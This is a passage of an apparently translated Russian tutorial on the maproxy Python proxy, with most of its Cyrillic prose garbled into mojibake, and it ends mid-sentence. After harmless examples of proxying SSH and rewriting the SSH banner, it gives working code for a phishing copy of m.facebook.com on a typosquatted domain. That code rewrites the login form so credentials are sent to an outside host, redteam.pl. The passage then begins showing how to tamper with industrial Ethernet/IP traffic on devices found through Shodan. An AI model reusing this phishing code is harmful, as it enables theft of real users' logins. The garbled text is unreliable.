ΠΠ΅ΡΠ΅Π²ΠΎΠ΄ ΡΡΠ°ΡΡΠΈ ΠΏΠΎΠ΄Π³ΠΎΡΠΎΠ²Π»Π΅Π½ Π² ΠΏΡΠ΅Π΄Π΄Π²Π΅ΡΠΈΠΈ ΡΡΠ°ΡΡΠ° ΠΊΡΡΡΠ°
ΠΠ½Π½ΠΎΡΠ°ΡΠΈΡ
Π Π°Π·Π½ΠΎΠΎΠ±ΡΠ°Π·Π½ΡΠ΅ Π²ΠΈΠ΄Ρ ΠΎΡΠ΅Π½ΠΊΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ, Π½Π°ΡΠΈΠ½Π°Ρ ΠΎΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π½Π° ΠΏΡΠΎΠ½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΉ Red Team Π΄ΠΎ Π²Π·Π»ΠΎΠΌΠ° IoT/ICS-ΡΡΡΡΠΎΠΉΡΡΠ² ΠΈ SCADA, ΠΏΠΎΠ΄ΡΠ°Π·ΡΠΌΠ΅Π²Π°ΡΡ ΠΏΠΎΠ΄ ΡΠΎΠ±ΠΎΠΉ ΡΠ°Π±ΠΎΡΡ Ρ Π±ΠΈΠ½Π°ΡΠ½ΡΠΌΠΈ ΡΠ΅ΡΠ΅Π²ΡΠΌΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π°ΠΌΠΈ, ΡΠΎ Π΅ΡΡΡ, ΠΏΠΎ ΡΡΡΠΈ, ΠΏΠ΅ΡΠ΅Ρ Π²Π°Ρ ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΡΠ΅ΡΠ΅Π²ΡΡ Π΄Π°Π½Π½ΡΡ ΠΌΠ΅ΠΆΠ΄Ρ ΠΊΠ»ΠΈΠ΅Π½ΡΠΎΠΌ ΠΈ ΡΠ΅Π»ΡΡ. Π‘Π½ΠΈΡΡΠΈΠ½Π³ ΡΠ΅ΡΠ΅Π²ΠΎΠ³ΠΎ ΡΡΠ°ΡΡΠΈΠΊΠ° Π½Π΅ ΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠ»ΠΎΠΆΠ½ΠΎΠΉ Π·Π°Π΄Π°ΡΠ΅ΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΠ°ΠΊΠΈΠ΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ, ΠΊΠ°ΠΊ Wireshark, Tcpdump ΠΈΠ»ΠΈ Scapy, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ Π·Π°Π΄Π°ΡΠ΅ΠΉ Π±ΠΎΠ»Π΅Π΅ ΡΡΡΠ΄ΠΎΠ΅ΠΌΠΊΠΎΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΡΠ²ΠΎΠ΅ΠΎΠ±ΡΠ°Π·Π½ΡΠΉ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ Π΄Π»Ρ ΡΡΠ΅Π½ΠΈΡ Π΄Π°Π½Π½ΡΡ ΡΠ΅ΡΠΈ, ΠΈΡ ΡΠΈΠ»ΡΡΡΠ°ΡΠΈΠΈ, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π½Π° Π»Π΅ΡΡ ΠΈ ΠΎΡΠΏΡΠ°Π²ΠΊΠΈ ΠΎΠ±ΡΠ°ΡΠ½ΠΎ Π½Π° ΡΠ΅Π»Π΅Π²ΠΎΠΉ Ρ ΠΎΡΡ ΠΏΠΎΡΡΠΈ Π² ΡΠ΅ΠΆΠΈΠΌΠ΅ ΡΠ΅Π°Π»ΡΠ½ΠΎΠ³ΠΎ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ. ΠΡΠΎΠΌΠ΅ ΡΠΎΠ³ΠΎ, Π±ΡΠ»ΠΎ Π±Ρ ΠΈΠ΄Π΅Π°Π»ΡΠ½ΠΎ, Π΅ΡΠ»ΠΈ Π±Ρ ΡΠ°ΠΊΠΎΠΉ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ ΠΌΠΎΠ³ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΡΠ°Π±ΠΎΡΠ°ΡΡ Ρ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΠΌΠΈ ΠΏΠ°ΡΠ°Π»Π»Π΅Π»ΡΠ½ΡΠΌΠΈ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡΠΌΠΈ ΠΈ ΠΈΠΌΠ΅Π» Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΠΊΠ°ΡΡΠΎΠΌΠΈΠ·Π°ΡΠΈΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΠΊΡΠΈΠΏΡΠΎΠ².
ΠΠ΄Π½Π°ΠΆΠ΄Ρ Ρ ΠΎΡΠΊΡΡΠ» Π΄Π»Ρ ΡΠ΅Π±Ρ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π½Π°Π·ΡΠ²Π°Π΅ΡΡΡ
, Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡ Π±ΡΡΡΡΠΎ Π΄Π°Π»Π° ΠΌΠ½Π΅ ΠΏΠΎΠ½ΡΡΡ, ΡΡΠΎ maproxy
β ΠΊΠ°ΠΊ ΡΠ°Π· ΡΠΎ, ΡΡΠΎ ΠΌΠ½Π΅ Π½ΡΠΆΠ½ΠΎ. ΠΡΠΎ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ ΠΏΡΠΎΡΡΠΎΠΉ, ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΡΠΉ ΠΈ Π»Π΅Π³ΠΊΠΎ Π½Π°ΡΡΡΠ°ΠΈΠ²Π°Π΅ΠΌΡΠΉ TCP-ΠΏΡΠΎΠΊΡΠΈ. Π― ΠΏΡΠΎΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π» ΡΡΠΎΡ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΡ
Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ ΡΠ»ΠΎΠΆΠ½ΡΡ
ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡ
, Π²ΠΊΠ»ΡΡΠ°Ρ ICS β ΡΡΡΡΠΎΠΉΡΡΠ²Π° (ΠΊΠΎΡΠΎΡΡΠ΅ Π³Π΅Π½Π΅ΡΠΈΡΡΡΡ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅ΡΠΎΠ²), ΡΡΠΎΠ±Ρ ΡΠ·Π½Π°ΡΡ, ΠΌΠΎΠΆΠ΅Ρ Π»ΠΈ ΠΎΠ½ ΡΠ°Π±ΠΎΡΠ°ΡΡ Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎΠΌ ΠΏΠ°ΡΠ°Π»Π»Π΅Π»ΡΠ½ΡΡ
ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠΉ, ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Ρ
ΠΎΡΠΎΡΠΎ ΡΠ΅Π±Ρ ΠΏΠΎΠΊΠ°Π·Π°Π».
ΠΡΠ° ΡΡΠ°ΡΡΡ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ Π²Π°Ρ Ρ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΎΠΉ ΡΠ΅ΡΠ΅Π²ΡΡ
Π΄Π°Π½Π½ΡΡ
Π½Π° Π»Π΅ΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ maproxy
.
ΠΠ±Π·ΠΎΡ
ΠΠ½ΡΡΡΡΠΌΠ΅Π½Ρ maproxy
ΠΎΡΠ½ΠΎΠ²Π°Π½ Π½Π° Tornado β ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΠΎΠΌ ΠΈ ΡΠ°Π·Π²ΠΈΡΠΎΠΌ Π°ΡΠΈΠ½Ρ
ΡΠΎΠ½Π½ΠΎΠΌ ΡΠ΅ΡΠ΅Π²ΠΎΠΌ ΡΡΠ΅ΠΉΠΌΠ²ΠΎΡΠΊΠ΅ Π½Π° Python.
Π ΡΠ΅Π»ΠΎΠΌ, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ ΡΠ°Π±ΠΎΡΠ°ΡΡ Π² Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΡ ΡΠ΅ΠΆΠΈΠΌΠ°Ρ :
TCP:TCP
β Π½Π΅Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π½ΡΠ΅ TCP-ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡ;TCP:SSL
ΠΈSSL:TCP
β Ρ ΠΎΠ΄Π½ΠΎΡΡΠΎΡΠΎΠ½Π½ΠΈΠΌ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ;SSL:SSL
β Π΄Π²ΡΡΡΠΎΡΠΎΠ½Π½Π΅Π΅ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΠ΅.
ΠΠ½ ΠΏΠΎΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ Π² Π²ΠΈΠ΄Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ. ΠΠ»Ρ Π±ΡΡΡΡΠΎΠ³ΠΎ Π·Π°ΠΏΡΡΠΊΠ° Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΠΏΡΠΈΠΌΠ΅ΡΠ°ΠΌΠΈ ΡΠ°ΠΉΠ»ΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ ΠΎΡΡΠ°ΠΆΠ°ΡΡ ΠΎΡΠ½ΠΎΠ²Π½ΡΠ΅
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
ΠΠ΅ΠΉΡ 1 β ΠΏΡΠΎΡΡΠΎΠΉ Π΄Π²ΡΠ½Π°ΠΏΡΠ°Π²Π»Π΅Π½Π½ΡΠΉ ΠΏΡΠΎΠΊΡΠΈ
ΠΡΠ½ΠΎΠ²ΡΠ²Π°ΡΡΡ Π½Π° tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
ΠΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ProxyServer()
ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ Π΄Π²Π° Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° β ΠΌΠ΅ΡΡΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΡ ΠΈ ΡΠ΅Π»Π΅Π²ΠΎΠΉ ΠΏΠΎΡΡ. server.listen()
ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ Π² ΡΠ΅Π±Ρ ΠΎΠ΄ΠΈΠ½ Π°ΡΠ³ΡΠΌΠ΅Π½Ρ β ΠΏΠΎΡΡ Π΄Π»Ρ ΠΏΡΠΎΡΠ»ΡΡΠΈΠ²Π°Π½ΠΈΡ Π²Ρ
ΠΎΠ΄ΡΡΠ΅Π³ΠΎ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡ.
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠΊΡΠΈΠΏΡΠ°:
# python tcp2tcp.py
ΠΠ»Ρ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ±Ρ ΠΏΡΠΎΠ²Π΅ΡΡΠΈ ΡΠ΅ΡΡ, ΠΌΡ ΡΠΎΠ±ΠΈΡΠ°Π΅ΠΌΡΡ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠΈΡΡΡΡ ΠΊ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠΌΡ SSH-ΡΠ΅ΡΠ²Π΅ΡΡ ΡΠ΅ΡΠ΅Π· Π½Π°Ρ ΠΏΡΠΎΠΊΡΠΈ-ΡΠΊΡΠΈΠΏΡ, ΠΊΠΎΡΠΎΡΡΠΉ ΡΠ»ΡΡΠ°Π΅Ρ Π½Π° 2222/tcp
ΠΏΠΎΡΡΡ ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ ΠΊ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΠΎΠΌΡ ΠΏΠΎΡΡΡ 22/tcp
SSH-ΡΠ΅ΡΠ²Π΅ΡΠ°:
ΠΡΠΈΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΡΠΉ Π±Π°Π½Π½Π΅Ρ ΡΠΎΠΎΠ±ΡΠ°Π΅Ρ, ΡΡΠΎ Π½Π°Ρ ΠΏΡΠΈΠΌΠ΅Ρ ΡΠΊΡΠΈΠΏΡΠ° ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΏΡΠΎΠΊΡΠΈΡΠΎΠ²Π°Π» ΡΠ΅ΡΠ΅Π²ΠΎΠΉ ΡΡΠ°ΡΠΈΠΊ.
ΠΠ΅ΠΉΡ 2 β ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π΄Π°Π½Π½ΡΡ
ΠΡΡΠ³ΠΎΠΉ Π΄Π΅ΠΌΠΎ-ΡΠΊΡΠΈΠΏΡ logging_proxy.py
ΠΈΠ΄Π΅Π°Π»ΡΠ½ΠΎ ΠΏΠΎΠ΄Ρ
ΠΎΠ΄ΠΈΡ Π΄Π»Ρ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ Ρ ΡΠ΅ΡΠ΅Π²ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ. ΠΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ Π² ΡΠ°ΠΉΠ»Π΅ ΠΎΠΏΠΈΡΡΠ²Π°ΡΡ ΠΌΠ΅ΡΠΎΠ΄Ρ ΠΊΠ»Π°ΡΡΠ°, ΠΊΠΎΡΠΎΡΡΠ΅ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠΎΠ²Π°ΡΡ Π΄Π»Ρ Π΄ΠΎΡΡΠΈΠΆΠ΅Π½ΠΈΡ ΡΠ²ΠΎΠ΅ΠΉ ΡΠ΅Π»ΠΈ:
Π‘Π°ΠΌΠΎΠ΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎΠ΅ Π·Π΄Π΅ΡΡ:
on_c2p_done_read
β Π΄Π»Ρ ΠΏΠ΅ΡΠ΅Ρ Π²Π°ΡΠ° Π΄Π°Π½Π½ΡΡ ΠΏΠΎ ΠΏΡΡΠΈ ΠΎΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠ° ΠΊ ΡΠ΅ΡΠ²Π΅ΡΡ;on_p2s_done_read
β Π² ΠΎΠ±ΡΠ°ΡΠ½ΡΡ ΡΡΠΎΡΠΎΠ½Ρ.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΠΏΡΠΎΠ±ΡΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ SSH-Π±Π°Π½Π½Π΅Ρ, ΠΊΠΎΡΠΎΡΡΠΉ ΡΠ΅ΡΠ²Π΅Ρ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΠΊΠ»ΠΈΠ΅Π½ΡΡ:
[β¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[β¦]
ΠΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ ΡΠΊΡΠΈΠΏΡ:
ΠΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡΠ΅, ΠΊΠ»ΠΈΠ΅Π½Ρ Π±ΡΠ» Π²Π²Π΅Π΄Π΅Π½ Π² Π·Π°Π±Π»ΡΠΆΠ΄Π΅Π½ΠΈΠ΅, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ Π΄Π»Ρ Π½Π΅Π³ΠΎ ΠΈΠΌΡ SSH-ΡΠ΅ΡΠ²Π΅ΡΠ° Π±ΡΠ»ΠΎ ΠΏΠΎΠ΄ΠΌΠ΅Π½Π΅Π½ΠΎ Π½Π° Β«DumnySSHΒ»
.
ΠΠ΅ΠΉΡ 3 β ΠΏΡΠΎΡΡΠ°Ρ ΡΠΈΡΠΈΠ½Π³ΠΎΠ²Π°Ρ Π²Π΅Π±-ΡΡΡΠ°Π½ΠΈΡΠ°
Π‘ΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ Π±Π΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΠΎΠ΅ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ Π²Π°ΡΠΈΠ°Π½ΡΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΡΠΎΠ³ΠΎ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ°. ΠΠ° ΡΡΠΎΡ ΡΠ°Π· Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠΎΡΡΠ΅Π΄ΠΎΡΠΎΡΠΈΠΌΡΡ Π½Π° ΡΠ΅ΠΌ-ΡΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡΠ°ΠΊΡΠΈΡΠ½ΠΎΠΌ ΠΈΠ· ΠΎΠ±Π»Π°ΡΡΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΉ Red Team. ΠΠ°Π²Π°ΠΉΡΠ΅ Π±ΡΠ΄Π΅ΠΌ ΠΏΠΎΠ΄ΡΠ°ΠΆΠ°ΡΡ Π»Π΅Π½Π΄ΠΈΠ½Π³Ρ m.facebook.com
ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ ΠΊΠ°ΡΡΠΎΠΌΠ½ΡΠΌ Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ Ρ ΡΠΌΡΡΠ»Π΅Π½Π½ΠΎΠΉ ΠΎΠΏΠ΅ΡΠ°ΡΠΊΠΎΠΉ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, m.facebok.com
. Π ΡΠ΅Π»ΡΡ
Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΠΈ ΠΏΡΠΎΡΡΠΎ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, ΡΡΠΎ Π΄ΠΎΠΌΠ΅Π½ Π·Π°ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠΎΠ²Π°Π½ Π½Π°ΠΌΠΈ.
ΠΡ ΡΠΎΠ±ΠΈΡΠ°Π΅ΠΌΡΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ Π½Π΅Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π½ΠΎΠ΅ ΡΠ΅ΡΠ΅Π²ΠΎΠ΅ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Ρ Π½Π°ΡΠΈΠΌ ΠΏΡΠΎΠΊΡΠΈ ΠΆΠ΅ΡΡΠ² ΠΈ SSL Stream Π΄Π»Ρ ΡΠ΅ΡΠ²Π΅ΡΠ° Facebook (31.13.81.36
). Π§ΡΠΎΠ±Ρ ΡΡΠΎΡ ΠΏΡΠΈΠΌΠ΅Ρ Π·Π°ΡΠ°Π±ΠΎΡΠ°Π», Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡΡ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP-Ρ
ΠΎΡΡΠ° ΠΈ Π²Π½Π΅Π΄ΡΠΈΡΡ ΠΊΠΎΡΡΠ΅ΠΊΡΠ½ΠΎΠ΅ ΠΈΠΌΡ Ρ
ΠΎΡΡΠ°, Π° Π΅ΡΠ΅ ΠΌΡ ΠΎΡΠΊΠ»ΡΡΠΈΠΌ ΡΠΆΠ°ΡΠΈΠ΅ ΠΎΡΠ²Π΅ΡΠΎΠ², ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π»Π΅Π³ΠΊΠΈΠΉ Π΄ΠΎΡΡΡΠΏ ΠΊ ΠΈΡ
ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠΌΡ. Π ΠΊΠΎΠ½Π΅ΡΠ½ΠΎΠΌ ΠΈΡΠΎΠ³Π΅ ΠΌΡ Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTML-ΡΠΎΡΠΌΡ, ΡΡΠΎΠ±Ρ ΡΡΠ΅ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ Π΄Π»Ρ Π²Ρ
ΠΎΠ΄Π° ΠΎΡΠΏΡΠ°Π²Π»ΡΠ»ΠΈΡΡ Π½Π°ΠΌ, Π²ΠΌΠ΅ΡΡΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² Facebook:
[β¦]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[β¦]
Π ΠΈΡΠΎΠ³Π΅:
ΠΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡΠ΅, ΠΌΡ ΡΡΠΏΠ΅ΡΠ½ΠΎ ΡΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ΄ΠΌΠ΅Π½ΠΈΡΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΡΠ°ΠΉΡ.
ΠΠ΅ΠΉΡ 4 β ΠΠΎΡΡΠΈΠΌ Ethernet/IP
Π― Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ Π΄ΠΎΠ»Π³ΠΎ ΠΈΠΌΠ΅Π» Π΄Π΅Π»ΠΎ Ρ ΠΏΡΠΎΠΌΡΡΠ»Π΅Π½Π½ΡΠΌΠΈ ΡΡΡΡΠΎΠΉΡΡΠ²Π°ΠΌΠΈ ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΠΌ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΠ΅ΠΌ (ICS / SCADA), ΡΠ°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ΅ΠΌΡΠ΅ ΠΊΠΎΠ½ΡΡΠΎΠ»Π»Π΅ΡΡ (PLC), ΠΌΠΎΠ΄ΡΠ»ΠΈ Π²Π²ΠΎΠ΄Π°-Π²ΡΠ²ΠΎΠ΄Π°, ΠΏΡΠΈΠ²ΠΎΠ΄Ρ, ΡΠ΅Π»Π΅, Π»Π΅ΡΡΠ½ΠΈΡΠ½ΡΠ΅ ΡΡΠ΅Π΄Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄ΡΡΠ³ΠΎΠ΅. ΠΡΠΎΡ ΠΊΠ΅ΠΉΡ Π΄Π»Ρ ΡΠ΅Ρ , ΠΊΠΎΠΌΡ Π½ΡΠ°Π²ΡΡΡΡ ΠΏΡΠΎΠΌΡΡΠ»Π΅Π½Π½ΡΠ΅ ΡΡΡΠΊΠΈ. ΠΠ·Π»ΠΎΠΌ ΡΠ°ΠΊΠΈΡ ΡΠ΅ΡΠ΅Π½ΠΈΠΉ ΠΏΠΎΠ΄ΡΠ°Π·ΡΠΌΠ΅Π²Π°Π΅Ρ Π°ΠΊΡΠΈΠ²Π½ΡΡ ΠΈΠ³ΡΡ Ρ ΡΠ΅ΡΠ΅Π²ΡΠΌΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π°ΠΌΠΈ. Π ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌ ΠΏΡΠΈΠΌΠ΅ΡΠ΅, Ρ Ρ ΠΎΡΠ΅Π» Π±Ρ ΠΏΠΎΠΊΠ°Π·Π°ΡΡ, ΠΊΠ°ΠΊ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠ΅ΡΠ΅Π²ΠΎΠΉ ΡΡΠ°ΡΠΈΠΊ ICS/SCADA.
ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅:
- Π‘Π΅ΡΠ΅Π²ΠΎΠΉ ΡΠ½ΠΈΡΡΠ΅Ρ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Wireshark;
- Ethernet/IP ΠΈΠ»ΠΈ ΠΏΡΠΎΡΡΠΎ SIP-ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ, Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°ΠΉΡΠΈ Π΅Π³ΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΠ΅ΡΠ²ΠΈΡΠ° Shodan;
- ΠΠ°Ρ ΡΠΊΡΠΈΠΏΡ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅
maproxy
.
ΠΠ»Ρ Π½Π°ΡΠ°Π»Π° Π΄Π°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ, ΠΊΠ°ΠΊ Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΡΠΈΠΏΠΈΡΠ½ΡΠΉ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΡΠΉ ΠΎΡΠ²Π΅Ρ ΠΎΡ CIP (Common Industrial Protocol):
ΠΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΡΡΡΡΠΎΠΉΡΡΠ²Π° ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΠ΅ΡΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° Ethernet/IP, ΠΊΠΎΡΠΎΡΡΠΉ ΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠ°ΡΡΠΈΡΠ΅Π½Π½ΠΎΠΉ Π²Π΅ΡΡΠΈΠ΅ΠΉ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° Ethernet Π΄Π»Ρ ΠΏΡΠΎΠΌΡΡΠ»Π΅Π½Π½ΡΡ
